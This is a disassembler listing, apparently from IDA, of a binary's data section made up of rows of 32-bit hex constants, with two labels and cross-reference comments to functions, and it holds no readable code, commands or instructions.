		dd 0CA9BED54h, 0C60D1F22h, 0C5BB4B6Ah, 99FF09A0h, 0D127B568h
		dd 0B855EFB7h, 0D1A13DFFh, 0BF8DCCC7h, 99A3326Eh, 0F84B05DFh
		dd 972F3347h, 66838FF0h, 0C4566083h, 4BBB448Eh,	1B0A0805h
		dd 59F27A8Ch, 37743956h, 7B1682ACh, 50F003Fh, 22574870h
		dd 5A41260Dh, 990ACBD2h, 0D82CD963h, 16A8AC38h,	0B343846Fh
		dd 0D49E16D0h, 438E45DFh, 38C9588Fh, 0E60A94B2h, 0E44361A3h
		dd 169C58EEh, 92259759h, 59D37659h, 97D84D38h, 59B2E70Ah
		dd 5A2EF243h, 4B5A564Eh, 3B5A61C9h, 26385B20h, 990ACB25h
		dd 7D438734h, 0A5725B92h, 5BB45E5Bh, 5C60D949h,	0A653638h
		dd 43CC745Ch, 935CB93Ch, 0F25C92E5h, 614E5CF4h,	680AF85Dh
		dd 0A8C80C5h, 336FF24Ch, 0CF76C82Ch, 639F0208h,	2F3420CFh
		dd 2D7FD5C1h, 0A5A1B1E6h, 96ADF18Dh, 5BBFE8E6h,	0D1CD2CADh
		dd 59056F19h, 33A5A39Ah, 0CD63830Ch, 0BE1802Eh,	0A4C79DEh
		dd 1134C79Ah, 1267391Bh, 1188DC89h, 64F1E72Eh, 6F8AB65Fh
		dd 0C33A39E1h, 5D1B5h, 5A3006Fh, 0C5E63C3h, 8C01B7AFh
		dd 769D5763h, 0B20A9364h, 219A1523h, 1E6166EAh,	0A8336513h
		dd 9C260B7Ch, 374CF3E8h, 0ED2E2D67h, 97574C63h,	0FD1C33F6h
		dd 7DB705E2h, 5D9C5FAh,	20FB175Fh, 1182FBFDh, 17E8E17Dh
		dd 8305AD7Fh, 5FE2FF6h,	0D67E176Bh, 0DFCE4E98h,	0FC5FA311h
		dd 47056F65h, 0CBECF8BFh, 0FD177705h, 0FF7BE341h, 0F17E11BEh
		dd 5D65597h, 0AB2FEB4Bh, 3656121h, 0E7194D1Fh, 0C5116F3Eh
		dd 89B7565Fh, 0CABF8B05h, 51DF12ACh, 9A052559h,	0ED723567h
		dd 111F0BB1h, 0AE4B1675h, 96EC1605h, 0FD35A405h, 1C0DACC6h
		dd 23DD11A0h, 5BE452Ch,	8A589565h, 0B12ACB5Fh, 0AB05D914h
		dd 90A4FB35h, 7D11F1C7h, 5A296255h, 0C4AB05BEh,	82DB452h
		dd 98FA65BFh, 9DDB35B7h, 0FB7D18E2h, 0E40B9DFBh, 660BEEFBh
		dd 7B6C1A0Bh, 930B1334h, 0B277718Ch, 5C92733Dh,	2E669668h
		dd 172DEB5Ch, 9B175C7Ah, 0D296F08Ch, 0B78066BBh, 6BA82E5Ch
		dd 5C765C05h, 0A5FE0550h, 5A0B968h, 0A81DE08Bh,	5AE95DAAh
		dd 8094BFFDh, 0BA82E5A2h, 479505D8h, 1D7B9089h,	5B11F7C2h
		dd 2B5EA45h, 0D445B505h, 17BFEDB7h, 8E9F8723h, 0A67BFE2h
		dd 0E8362138h, 0F5717968h, 4793699Eh, 7369B1BDh, 3AE76DF6h
		dd 53B7675Bh, 56A8540h,	0A816217h, 0A84E056Bh, 28F4D615h
		dd 0AC3EB5Dh, 0F5BDBC17h, 116B70B3h, 5DAAD27h, 5B52777h
		dd 406ABF23h, 24EDCE35h, 6E11985Dh, 0DF336A32h,	0D42A0505h
		dd 540B2F66h, 4CDA5A8h,	0F6356AB1h, 0DEF698B5h,	192DB611h
		dd 22B6EADBh, 9D19BB91h, 35FCCC6Ah, 2F921C7Ch, 9B50B6B5h
		dd 7001B1A6h, 0F8739911h, 936AF6B4h, 13DB5FD0h,	71816BB2h
		dd 6B936B28h, 0E9156555h, 275B6B6Eh, 2C166B87h,	0E2DF376Fh
		dd 7E9B166Ch, 0F97318EDh, 46E6B80Ah, 6E2EE1Dh, 7337C2B2h
		dd 0A0058CF0h, 8CA89B2Dh, 0DEF8E01Ch, 5E964773h, 0AAEADA3Bh
		dd 711BEB1Ch, 400B7F05h, 4205E391h, 1B0474ABh, 0C0B52224h
		dd 0B8EC2376h, 8CD80A74h, 2CE9F2E4h, 0AFA6C98h,	0BE0B15DFh
		dd 79C00A77h, 3620161Ch, 0B4370A2Dh, 0A3ED915h,	0A8334F72h
		dd 98CF60C8h, 3C882371h, 0F2808C82h, 0C8743390h, 0B24CCFA1h
		dd 0C33C3423h, 0D4F22C8Ch, 0E5C80433h, 2C5FFCC2h, 7807BD15h
		dd 15F80AF7h, 1B7DFDE1h, 48A15D1Eh, 2E4B7735h, 57FFEAE8h
		dd 635E5005h, 8CE2A3D5h, 0FBEE32A8h, 6E1D5FFFh,	0A63ABFFFh
		dd 7FFEE8B2h, 82F55B75h, 0C69D26D4h, 0CA0F6A0Ah, 0C30ACAB1h
		dd 588E56D2h, 39E60ACFh, 0BEEC9105h, 0CBF766F4h, 0F2FC9220h
		dd 264E8311h, 0D84CC985h, 0FB8085D0h, 626EED8h,	0E0785B74h
		dd 0BB056CB5h, 5D9C078h, 80EAFF7Ch, 28D06BB3h, 0D02851Dh
		dd 2867ED82h, 4FD8EA3Ah, 21F8E63Ch, 0EB05D2DAh,	7805A521h
		dd 976701D5h, 885F94Ch,	200BF7D8h, 37B1D84h, 59696CEh
		dd 2D9C077Dh, 8674B72Dh
		dd 163CCF40h, 0F62286B1h, 0EAD32A54h, 2538B61Ch, 386D1CA6h
		dd 221C4B4Bh, 0C68D1767h, 0DBA79D02h, 0B7393289h, 5A5B0500h
		dd 980A7283h, 118E63Ah,	0F62239B3h, 0D8416D51h,	0E4B4E81Ch
		dd 69891617h, 7001C9FBh, 3F174505h, 6F0874A5h, 14A11168h
		dd 89DB5952h, 0B8B8050h, 0CF3A5876h, 226762AAh,	0FF1BED19h
		dd 1CEE1C41h, 6D7B1700h, 0C12E2E61h, 0CEC7866Eh, 0AEA90614h
		dd 5C00B162h, 0B905372Bh, 5BAF50B8h, 5E8BA156h,	0CF405838h
		dd 4C278B61h, 1A33CE3h,	8AF5B7ACh, 154437A4h, 9705E1FFh
		dd 0C51ECB86h, 0B0E64FDAh, 11F8DB38h, 0F33463AFh, 1C9FB43Dh
		dd 8B4455F4h, 0C5B8C4E0h, 0D6D61FFFh, 907E7C6Fh, 0DC175CC8h
		dd 2CC7F3Eh, 0FFFEF2EFh, 0FFFCF198h, 3AE9AC31h,	49031773h
		dd 1B76F0DDh, 0DC241AE0h, 1B4E6355h, 3A6387CFh,	0C31E02F9h
		dd 8F779623h, 73058D39h, 751A731Fh, 0B734E63Fh,	0E13A907Eh
		dd 0B7D625B9h, 0E60A9101h, 699B970h, 4D39361Fh,	0B671DA7h
		dd 8E273DA8h, 3E7F9022h, 16C79551h, 0C3638F4h, 0F80BC696h
		dd 6497307Ch, 973CE027h, 41D2694Bh, 0BF5EF998h,	0C922C998h
		dd 0F7B98C5h, 1527169Ah, 8EC259Ah, 0FC6F0B9Bh, 0B90B839h
		dd 0E0864F0Dh, 5FBC3C55h, 9698D349h, 0A7056E16h, 0B2273B31h
		dd 4D8F569Bh, 0C82E9CB8h, 0FF9C51F9h, 78786D15h, 92B98D51h
		dd 92182F27h, 5AD25A63h, 9DD8ED74h, 0C3C5FB17h,	7D117A8Bh
		dd 81D16969h, 0D2D305BFh, 0DF0503A2h, 0D8469DF2h, 0A4210C0Fh
		dd 929C3B9Eh, 265D239Fh, 649F5D5Fh, 0A0C6E215h,	0A4A4574Bh
		dd 0D1205F25h, 9C43A484h, 0ED97A4D6h, 0F7F2A492h, 0A9754EA4h
		dd 38500AFBh, 70AB2EEh,	0A5FF793Bh, 3BF53E3h, 2405AC5Dh
		dd 0CA1C7EAAh, 0F505EB13h, 27601B0Ah, 3EAB31F2h, 0B18F3710h
		dd 0B1740E5Eh, 0AC12DF17h, 0F69F1C7Ch, 0EF330AD2h, 0CDAD72E7h
		dd 30CC2728h, 7D2582EFh, 0F40B21C6h, 29D6ED2Eh,	5E6F054Ah
		dd 0C6059453h, 3C2AAE1Bh, 12A1624Eh, 9D62FF71h,	6A0544A2h
		dd 502963AEh, 0BD0C60E9h, 128ABBA4h, 0EB7C05C1h, 2D822514h
		dd 4CF3AF01h, 0B152EF58h, 0F9789E0Ah, 7D887865h, 19B20D69h
		dd 0B21F7BECh, 0B994F322h, 0B9B27D64h, 0A3920191h, 670AFFECh
		dd 0B31CD99Ch, 0B37E7921h, 0AC6A426h, 11EB79A0h, 0B438228Eh
		dd 88B00AFBh, 6F0A84ECh, 8BD820ECh, 22FBC1B4h, 0BB94D81Dh
		dd 7ACE087Dh, 1105BECEh, 0B69CF59Ch, 22F9B548h,	0B52CF5D0h
		dd 39D8AD24h, 0DEDCD70Ah, 7BB53EECh, 6038CC73h,	0D412B586h
		dd 0C4DF0A58h, 0EC25F337h, 9B20B61Dh, 2F800A67h, 931856C1h
		dd 7DD39DA9h, 626CE7ACh, 2E1C1A6Bh, 0A80AC6BAh,	0B6B20D31h
		dd 0BEC2753Dh, 0B9FD6162h, 9B23BF0Ah, 17C1EB1Dh, 9BB55899h
		dd 73FA3798h, 8BB53136h, 5B48C205h, 3F1D5282h, 6EA74EB8h
		dd 8110116Bh, 0C4D9DF2Fh, 0FE4EAE2Ch, 0D25989DBh, 0BEBF8499h
		dd 0D2998A7Dh, 2611BF65h, 59A7166h, 0FCD8E399h,	0F8D1AEE7h
		dd 0CBC54A1Bh, 8D8B3A69h, 7AC4EED3h, 828093C0h,	0DF90C084h
		dd 0B6789E6h, 8CCD3DC4h, 0CD7DD822h, 4169EDFh, 60BDCFFh
		dd 0F863CDFDh, 26C91A3Dh, 0E26FB7A9h, 711D8334h, 63C11077h
		dd 9F823DFBh, 0BF6D992Eh, 4D5CDB5Bh, 0E9DBA705h, 702C7BB8h
		dd 0FBBC3917h, 34C13D40h, 0D91A561Fh, 0A61C6F75h, 8AAB6AE3h
		dd 7B1C596Dh, 2768C169h, 8346C16Fh, 6C90B6Eh, 8BC8DF83h
		dd 0AEC1B2FDh, 16C20376h, 9ECB033h, 3C7C56C2h, 0ADB6A11Fh
		dd 49A2F771h, 9113305h,	2800AE72h, 0B89E6B93h, 9316CB83h
		dd 12BC9FADh, 37A952C3h, 396C7928h, 3E9B61C3h, 65582E0Ah
		dd 79DCF821h, 1DE0DF0Bh, 85B7F23Ah, 8AF6D63Fh, 5ADC126h
		dd 824D14F9h, 9A297F5Bh, 7E05B704h, 83D93465h, 0C39B780Ah
		dd 0A2C95B4Bh, 22A876C3h, 78BA743Bh, 0E716ADACh, 9EBF91A4h
		dd 0AC6C758h, 19D47938h, 67E1E424h, 0C636D414h,	0E60ADA8Bh
		dd 1D1A023Ch, 810BFE73h, 0EB61A8F8h, 1D227A7Dh,	0AD807D0h
		dd 0CBCBC67Fh, 9FC6AFD9h, 6F0ABB36h, 15CAB244h,	1D0AE2EEh
		dd 0A9E33364h, 632EC405h, 0BF6D77D6h, 0CFADE205h, 5B4417D9h
		dd 0FDB3F89Fh, 84C71E05h, 0B2A9BB9h, 0DB3AB83Ch, 0E340C8A9h
		dd 5B823FAh, 1804C8AEh,	1D16D29Bh, 2E3D291Fh, 0FB6293C8h
		dd 0BC18C884h, 1097C902h, 6C22C9B2h, 9CE71615h,	0FB005F91h
		dd 0ECC96574h, 0BCE9C2Eh, 5122FDB4h, 0FC1262CCh, 16CD4ACAh
		dd 63162CCAh, 572E45CDh, 1EDE0BE4h, 5683441Bh, 0BBF6CBDEh
		dd 65DFDD7Ch, 886E93CDh, 0F291CDB2h, 0AC5DCD8Fh, 0FB84228Dh
		dd 7ACDB257h, 39CBC92Eh, 64CDD0C4h, 0CDFCE1EEh,	0CFB22F1Ch
		dd 0F9BF7418h, 8701D1C8h, 0D282251Dh, 30B38849h, 43789E0Bh
		dd 880C2266h, 0C93C880h, 20EB97A2h, 503F632h, 4E72D392h
		dd 0D3595ED3h, 0E468924Bh, 40BC06B1h, 8BD53271h, 48F6B938h
		dd 9C4D2DD7h, 25D70A97h, 99D812E4h, 0D9C22F4Dh,	2AE2F401h
		dd 24D9C37Ch, 0AEAD929h, 4BDA017Ah, 0DA2DC259h,	8C484DDDh
		dd 0CD0FD40Ah, 0AEDB8302h, 1CEC4217h, 219B58DBh, 7DDC180Ah
		dd 8DDB2C8Eh, 0B1F95842h, 1617DB6Ah, 0EE0A92D8h, 0B82C01FFh
		dd 0C8770A97h, 4348E4AAh, 29726AE5h, 0F905E3D6h, 0B6C52E5h
		dd 0D8A5CB78h, 0CEB24B16h, 0C07B5C3Fh, 8E983B0Bh, 4B0BC6EFh
		dd 4BB3142h, 63DC0AA6h,	15086017h, 674D0BB8h, 0FD24E5EDh
		dd 0DB14F583h, 0D16B7C02h, 0F664391Dh, 4EA3DD25h, 0C949DD2Ah
		dd 4B7BDD31h, 572698DDh, 7D4C16CEh, 6297DD64h, 500B677Ch
		dd 549C833Ch, 5C5CC1F6h, 20CD97C6h, 0EF5CE332h,	0EFAC880h
		dd 44C9DE42h, 39DE47C9h, 652FDE4Eh, 71E424DEh, 0DE7EBCDEh
		dd 0B679097h, 8CD83D48h, 0A13E782Eh, 0E10CDF0Eh, 2E0A239Bh
		dd 0BB3C476Dh, 31888934h, 20E4B2ECh, 8BE019F0h,	35F220E3h
		dd 0E0834EE0h, 0A98B249h, 14BCB8E4h, 0FC4762E1h, 93E13036h
		dd 20E1B29Ch, 6F0AD16Ch, 0EDB2DFF0h, 0E332F020h, 0ADBF3A66h
		dd 167EE392h, 21ED2C1Dh, 0B609E4DCh, 84E50B38h,	0E5379D03h
		dd 0FF5416F9h, 670A78ACh, 9EB59158h, 6046F85Ch,	0F6E63D7Ch
		dd 0A2C2B64h, 0B3916867h, 46F06C9Eh, 0E72D7C70h, 0ABEFB08h
		dd 7978466Ah, 0E47C19A7h, 0D28067E2h, 2F19E81Fh, 9E5C910Ah
		dd 8C469988h, 9019D479h, 22E90FF4h, 4C0AF91Eh, 8F39819h
		dd 2ED3E1EBh, 0A60ADCA3h, 904EF129h, 0BFBEFCE8h, 565D3163h
		dd 62C705DFh, 6E0BACBAh, 6B8946EBh, 2389ECD6h, 0BCA60D7Eh
		dd 25973437h, 598B74C5h, 0E98BBD83h, 0E36C32B2h, 1DB602EBh
		dd 0B2229FD5h, 0E8B5AC02h, 5D1BD61Ch, 65D3FE05h, 0EC05BA65h
		dd 7D0C17E9h, 0FA70F040h, 0F82B531Dh, 0F70505D3h, 3DAA04EBh
		dd 348FEC0Eh, 0FE3569h,	4CAC57BEh, 5D63017h, 602EE15Bh
		dd 10EC60C9h, 0EC32F092h, 377B6208h, 3C1E4AECh,	0D20183BEh
		dd 0B5C0605Bh, 3F9FB4F8h, 4DF212B2h, 2EEE9C9h, 0FC74B7C6h
		dd 56F8C05h, 5602EC59h,	47EC701Eh, 2B97A6D3h, 4697DF18h
		dd 0EF6EBE30h, 4401EC7Ch, 0EC9A0Fh, 679F1487h, 0D1ED9A2Dh
		dd 0EE2710E6h, 0B3746DF1h, 0E8DBE3FEh, 0ECBC05F4h, 0AC9F0C11h
		dd 3F12ECC2h, 4BECCD4Eh, 46ED01C6h, 7C1226Fh, 0B56D23EDh
		dd 40504DDBh, 0FE9DED1Bh, 36FD05CFh, 8D9FFD3Ah,	3F51D189h
		dd 39298D6Bh, 0ED3EF7B4h, 2710E64Ch, 76ED43C9h,	0B8770B8Ch
		dd 0C7C4C822h, 0CAE0D69Ch, 0D16ACBEDh, 0E924EDEBh, 0ABEDF1E3h
		dd 7ACFF626h, 35DA421Ch
		dd 6CDB6E80h, 897ECD4Bh, 24967FF4h, 2CFF1E1Bh, 7EC0842h
		dd 0F67C1DEEh, 2CA43C6h, 2C10B6D6h, 925905EEh, 24B36E58h
		dd 0EE7796B1h, 270EA983h, 91E228CFh, 93C9DDC3h,	28CE2135h
		dd 67287721h, 322D6249h, 0E2551D9Fh, 110FB56Fh,	5B410D6h
		dd 62C492F8h, 1B1B2569h, 0C86CD21Dh, 31A723EEh,	74FE7CEDh
		dd 1624F011h, 112B8B4Bh, 0C2801B58h, 8FEE68F0h,	7882F761h
		dd 56F3AD50h, 9B772DA9h, 0A4465A56h, 10EE80E0h,	0EE97F498h
		dd 0A4BA6E97h, 0EC9BBDEEh, 0EF042F0Ah, 663B4219h, 0B12615EFh
		dd 0E3910ACBh, 0B249C963h, 697015F0h, 9A2693F0h, 0E8D91565h
		dd 0F1167B0Ah, 0F1402736h, 0C16FC463h, 8E2FB91Bh, 0F68AE716h
		dd 0F14B05FEh, 0FC933EB9h, 0FA98866h, 27F45779h, 4FE8AE7Eh
		dd 34C65D05h, 9DDCFD70h, 154A93F1h, 0E13FF2B1h,	0F6A43129h
		dd 9FD15CB8h, 0F220D4DCh, 0E2583423h, 1731B287h, 0B5827F7Ch
		dd 55B8051Dh, 0A5253B04h, 7609FDE1h, 45F26C52h,	8FF2409Dh
		dd 98835A68h, 0DC1CAFB5h, 898D7021h, 5105E0DEh,	0D99DC9F2h
		dd 3668F264h, 0CC5C0AB0h, 43F86C8Dh, 77A4F2E6h,	62F3719Dh
		dd 8616FB7Bh, 3E961A0Ah, 0AC6B2F1h, 1BDE79ADh, 0F4EC58ECh
		dd 0F40DBC0Ah, 3FEC2D24h, 699C36F4h, 639F93F4h,	577D640Ah
		dd 600A8CC8h, 720E9F2h,	0F50AD949h, 0F5473B9Ah,	0CB54264Ch
		dd 2061B20Ah, 78F59EF6h, 0C9F6034Eh, 671A910Ah,	0EC24F62Bh
		dd 9C8EF6B3h, 0E93F6DDh, 7678F7B2h, 4E99F736h, 0C249F757h
		dd 4E07F778h, 4CC9F78Fh, 0BF0AACB1h, 0F815155Ch, 2DC80A64h
		dd 25826CCFh, 0C5A89AC8h, 2B0A97DEh, 1707F983h,	0F93AE120h
		dd 0F94D2F76h, 7BECBB64h, 0DA9B2CF9h, 61E72E0Ah, 59DE10DCh
		dd 0FBD942F0h, 9230894Ch, 12997C05h, 33BE2461h,	2D48C225h
		dd 28FAB2E8h, 0B90A206Ch, 7B1B8731h, 0EED6F7BFh, 5B2C5D27h
		dd 2D898DCCh, 2242B2C2h, 18FA5AF5h, 0FA927B8Ch,	0FAA927F1h
		dd 0AECDB64h, 0F47E43FBh, 8DBA3B4Bh, 0A5AD75E8h, 0D948778Ah
		dd 17671805h, 13BCED88h, 91F611C6h, 513656Ch, 0CAD923F8h
		dd 0FBB8B626h, 50769A32h, 0A24E66FBh, 0C95BC9FBh, 1838FBBAh
		dd 650B4BFCh, 845BC80Ah, 0A756C0Ah, 22939DB9h, 12E4A07Bh
		dd 567D6981h, 5B7F3136h, 0BA64FC78h, 0F81CD4D9h, 645008A3h
		dd 8978EC01h, 0B3369BF9h, 0B27BC9FDh, 0B1E40A3Ah, 0DAE48658h
		dd 0FDE89CFDh, 0C1475A23h, 12DEB326h, 9CA6FE62h, 0FC0D5F08h
		dd 0BA8D394Dh, 25724889h, 33FEB213h, 4DFE3872h,	77159746h
		dd 0FE85E125h, 9DB81F14h, 0BC15A48Eh, 73E729B7h, 0E7CE53BDh
		dd 410438BAh, 2F8B120Eh, 0EF0ADCC4h, 0ED5B6A6Ch, 1B1C6B3Fh
		dd 7A0DF6A0h, 0EDCF9CEDh, 9F706E05h
		db 0DBh, 0A5h
word_4BB922	dw 7393h		; DATA XREF: sub_4108D0+2F4o
		dd 59B8401Dh, 1F1B1E44h, 0B7D13E72h, 7C6DDD87h,	0E52D0F6Eh
		dd 0D6178F05h, 0FBAA8AD1h, 3DB95BDEh, 7ECB09ACh, 5587B73h
		dd 4217CF95h, 0F01EDA36h, 6145DA11h, 45BB9D39h,	5DD20AC3h
		dd 0D42F0C17h, 1FB7EDE0h, 0DB1EDC11h, 60FE056h,	0E0527763h
		dd 25EFBA94h, 8158EAFFh, 0B0BEEE4Bh, 5D79702h, 9D2E5234h
		dd 150B1DB3h, 0DF0C8601h, 8C211068h, 0B65C455Bh, 0D87056Ah
		dd 5D4F656h, 3E6506FAh,	0DBC5D770h, 10B180B9h, 70265BB6h
		dd 0B66DA9C0h, 3E1707A9h, 2F200E6Fh, 0A5D9DE02h, 4B5C45B6h
		dd 0AAC10B6Dh, 0FBCE1767h, 8D52A1B7h, 0B801089h, 0DAFC970Fh
		dd 0D805C916h, 59063E08h, 93F1F30h, 76940841h, 9B5C0A5Bh
		dd 4A3FC48Ch, 410A0Bh, 64EC3020h, 0CA9B200Ah, 0B1F2F15h
		dd 0A34D924h, 17003D73h, 0FF497D12h, 9B8DE9CDh,	5CBB922Dh
		dd 245B056Fh, 5B9F877h,	0C3410B76h, 2DC4B296h, 400AF4ECh
		dd 0C56248Eh, 20BC0AFBh, 4D0C98F2h, 380A97AFh, 4D640D92h
		dd 0B32E6DB9h, 0BCC7AC46h, 0E42410Eh, 110E114Eh, 6BC4AD0Ch
		dd 8F346B00h, 5542F76h,	0A85E8FB7h, 7E0F124Bh, 6C30AF2Eh
		dd 0B88C0FFCh, 411031FCh, 377CC048h, 44934110h,	94110D2h
		dd 0A8D4E1Dh, 6A21F6F0h, 8BEC310Ah, 0A42E0A7Ah,	0AB79E046h
		dd 7DF6D419h, 9C334D11h, 9F119FECh, 8F11A5BCh, 13B19CB0h
		dd 2A1771B6h, 0A3F37386h, 0F0A3D655h, 71FE2317h, 125B638Ch
		dd 3431ED50h, 0A1F0051Ah, 2E346862h, 24411239h,	12143E7Bh
		dd 0E148141h, 0E016C668h, 12EFCEFCh, 90ECC524h,	0B77D4413h
		dd 0B6F958D1h, 0DA42183Eh, 49EF0557h, 13AE05AFh, 0B4E44464h
		dd 144FBD13h, 91559797h, 7123E814h, 46106E42h, 638655E3h
		dd 0ABC68DF4h, 14DA6D20h, 31CF3AFBh, 16F2B75Dh,	3228EB0Ah
		dd 0A17EF60h, 1822489Fh, 0E2F29F3Ch, 3620FF36h,	33372B19h
		dd 370AB99Fh, 0BFEA381Ch, 7853A7B7h, 4684A515h,	1C1A48DFh
		dd 1A813E7Eh, 946CD012h, 2EB2B90Ah, 3CC94BCDh, 3AB1321Bh
		dd 7C0EBC18h, 3C140A63h, 0D637C2D7h, 3F85B3A0h,	20BFFB55h
		dd 53DEAC4h, 0D588417Dh, 0C62E5A7Bh, 0EE791022h, 18FED13Fh
		dd 101C6F75h, 0D8B7F7ABh, 0A1562105h, 0F36C35EFh, 0DF0C6722h
		dd 3DAF1C05h, 3842ABF6h, 58F81C99h, 1666C7BDh, 1CF91C94h
		dd 7D2AE408h, 0DC6080Dh, 60B75356h, 0C3162336h,	14F211B3h
		dd 0F8FE10A0h, 23363DEh, 11C9E415h, 6225BBDDh, 897E0506h
		dd 0D808CD8Fh, 119B1E5Eh, 2E2AD720h, 646C6A0Bh,	0C200674Ch
		dd 3D731C84h, 73C06CFBh, 229C2790h, 0FB627E5h, 0D77E52A7h
		dd 0A9353B06h, 0D80783Eh, 34D156CBh, 0BABBF839h, 4411CD3h
		dd 1D0F3D5Fh, 0D88E408Fh, 278D73E2h, 1920B84h, 0C1961BEAh
		dd 411E585Dh, 0B23BA509h, 0CCE13A1Eh, 1FB2F76Ch, 341CE80Ah
		dd 0F920593Ah, 0BBE6500Ah, 0E717AE72h, 865D8F9Ah, 0F9188632h
		dd 306586F6h, 4FB80520h, 0B100080Bh, 80E06221h,	0A167E36Eh
		dd 8D427316h, 5847B89h,	0E7402162h, 22A2DF68h, 23E880Ah
		dd 61B07B24h, 0E70A251Bh, 48BF91DEh, 2627EC4Dh,	42FD5F82h
		dd 6FC32784h, 28BE2B35h, 27C380Ah, 0C873F329h, 1DF4813Fh
		dd 41932955h, 0D91565A2h, 0FB760AE7h, 2B325E20h, 41C30AFBh
		dd 152BC1F6h, 0C92C174Eh, 2E22CF0Ah, 11368701h,	3E400A63h
		dd 8B792FC2h, 0CF30F2F3h, 318492D9h, 63762FAh, 0D2328C45h
		dd 84220A5Fh, 0A5F3D34h, 83C72240h, 6264345Fh, 761595D9h
		dd 0C55D0AB1h, 81622097h, 57162035h, 0CF0A3737h, 0C823F2A1h
		dd 7938823Eh, 3A32F3E8h, 63829E0h, 780A630Dh, 0C93B323Eh
		dd 3B3FC24Ch, 824F3CC1h, 0F1F152C6h, 37C8CCAAh,	9199540Dh
		dd 0A90549B7h, 9323D032h, 971DBDAEh, 8EFA710Ch,	0CAFE4DFBh
		dd 5CA4C8Ch, 48923C39h,	0B90A646Ch, 7BE98376h, 0E1864FAAh
		dd 99197C27h, 0EC5D5F94h, 0BF29C632h, 5D3CD870h, 0D4467EFBh
		dd 647D1111h, 0ADFD7E52h, 0FC806105h, 0FD617D56h, 0C005F5F9h
		dd 0D4358F56h, 1C436213h, 0DEF3103Ah, 0EBF29305h, 0E0D88325h
		dd 57DC5856h, 2204F705h, 8C3BD971h, 11BE0CEh, 0D7E54FBEh
		dd 4515DFCFh, 92581CE0h, 59F57B39h, 3B0FF30Ah, 3C6B5BCFh
		dd 3ED08E72h, 0FD60871Eh, 0F73FDC0Ah, 0EF0A61F8h, 0BE2B404Bh
		dd 79B60A62h, 0FAF14D2h, 9164AC20h, 23D20A5Fh, 65723EECh
		dd 7D425B7Ch, 0AF26679h, 0EB6733C6h, 0ECBD432Dh, 0A5F8E68h
		dd 0FA6A9E55h, 71B8B98Fh, 59E0D0Ah, 0E5A812E0h,	0EDFC4C5Fh
		dd 5D81A57h, 0DBDF1CE8h, 6B840127h, 0C3AA781Ah,	0DBCC1BD8h
		dd 1E34DBAFh, 5FE5B705h, 6FF43C69h, 6C78D2BFh, 0A1246B1Ah
		dd 720A3ED9h, 2023B72h,	0A77AE5Bh, 7B99C010h, 1C16AB7Fh
		dd 0B9D603E8h, 97DC5C0Ah, 416CD06Bh, 42ECB821h,	706F0B6Dh
		dd 6E57C238h, 95393E5Dh, 77D68A26h, 0BB4C475h, 0F1FCA5F4h
		dd 1105F968h, 7BDC0971h, 0C1467772h, 0E31CD5A1h, 0A17C578h
		dd 0BDEF7DCCh, 0A8F880Bh, 5A3C336Fh, 396B473Eh,	3EAD733Eh
		dd 705BB0AAh, 3DFE1D79h, 0FC292E25h, 10700605h,	0D1BF4EDFh
		dd 93B761F2h, 0A3E5A305h, 1A7177C3h, 0D6036579h, 6E5D9079h
		dd 3D6C168Dh, 0A8C95DEh, 1AEF368h, 32E7BD74h, 3EAD65D5h
		dd 0DE24DA60h, 0BC4FEF05h, 7C7A1005h, 22F65C22h, 0C858330Ah
		dd 7774853Ah, 417A47F3h, 0E7FE8710h, 0F6447AB1h, 0B8CA1560h
		dd 0E24DFB3Eh, 7A05C27Dh, 0DBFBC49Bh, 0A517F288h, 0DE18F60Ch
		dd 0B711041Bh, 12FC275Ah, 117BC227h, 2E21BA3Eh,	9FD1EE10h
		dd 3E6F4FF0h, 0D8059FE1h, 0FBEF7B24h, 0CB41AEB4h, 3F3F5B11h
		dd 89DB0106h, 0EAB77F3Fh, 0A109F705h, 547775FFh, 34DF767Bh
		dd 0A635981h, 5FFE0F8Bh, 0DF457B84h, 21657981h,	8B7285C9h
		dd 1663CC03h, 0F4217D2Ch, 0FB240A8Ch, 108F7C2Eh, 0CC1496Dh
		dd 2C6FD89Fh, 6FBF6619h
dword_4BBF6C	dd 68051E59h, 0AC39637Ch, 2C7DEA3Eh, 7DF19D87h,	0C41D5097h
					; DATA XREF: sub_40C8D0+381o
		dd 2658417Eh, 770B2C76h, 3FEC17E0h, 587A527Eh, 883B149Eh
		dd 0A3D5CB3Ah, 96E92F5Ah, 0B81AB547h, 0F95023CEh, 0D801672Fh
		dd 87AF7EC2h, 7F70C1F5h, 67771B97h, 0EC14A00Bh,	9CE70B5Eh
		dd 5F1DE090h, 866A8F80h, 448E5788h, 0A5AAED25h,	79F5053Eh
		dd 0B07D4B54h, 0F6978056h, 230B70C3h, 0A0D37F9Ch, 0B68D50DDh
		dd 0BEF41C75h, 0FA96A805h, 2D515FE8h, 6552D1F5h, 0DC9F29B3h
		dd 0AD0F816Dh, 0C5C6F635h, 0FA1DE0A6h, 1FA3EA5Ah, 0FF81FE16h
		dd 1261053Bh, 80374B8Ah, 7E8FA9F6h, 52F90540h, 5B80FD1Fh
		dd 1ABFA69h, 3B816CBEh,	0E51E9468h, 3589FF81h, 0B5450165h
		dd 1CD63B71h, 69B60585h, 0C07DA503h, 4B888232h,	0A376A7Bh
		dd 3C351F15h, 0DB200A63h, 41054AB0h, 0BD518284h, 0CE888286h
		dd 0E61C3316h, 0A1DC6CCEh, 426CDBCEh, 18179DCEh, 265D752Fh
		dd 0B1448989h, 3ACDFA85h, 17F5805Ah, 0F614076Bh, 0B00543EAh
		dd 1FF3B4Ch, 40B7AC57h,	0E688B9FDh, 381CAD25h, 59E08DAh
		dd 53C2DEFh, 0E56582FEh, 0B8315ECh, 3A9829B9h, 5C0A3F36h
		dd 0FAA08D9Ch, 3283A2B3h, 16C1EC77h, 0C7909867h, 4184AA1Eh
		dd 0DC0EE223h, 79B00BCEh, 95838F7h, 0B85EC78h, 63995467h
		dd 0E138071Dh, 476BE03Ah, 0CD99E07Dh, 0C105BD86h, 0F4B79B33h
		dd 81F82373h, 58349F8h,	8623C2C4h, 0ED363E77h, 1DD71F98h
		dd 5FB5A22h, 5F722EBh, 1B36677Fh, 0B13305EEh, 0D9CD2986h
		dd 87AC0B07h, 87109CB1h, 0B723597h, 0D1E220EEh,	0FB70AD4Bh
		dd 0FEE1B3BFh, 667C0503h, 0AE07FDC3h, 50FF64Bh,	3E8287F5h
		dd 0B7A01AD9h, 0DB5652D6h, 6E80291Fh, 0AD303F56h, 4188BF47h
		dd 583E7025h, 0AB58F888h, 0A9295FBh, 3C08001Ch,	0B765881Ah
		dd 0F889B4ECh, 978A17BCh, 0B40B673Fh, 0AAED513Ch, 3B2733DDh
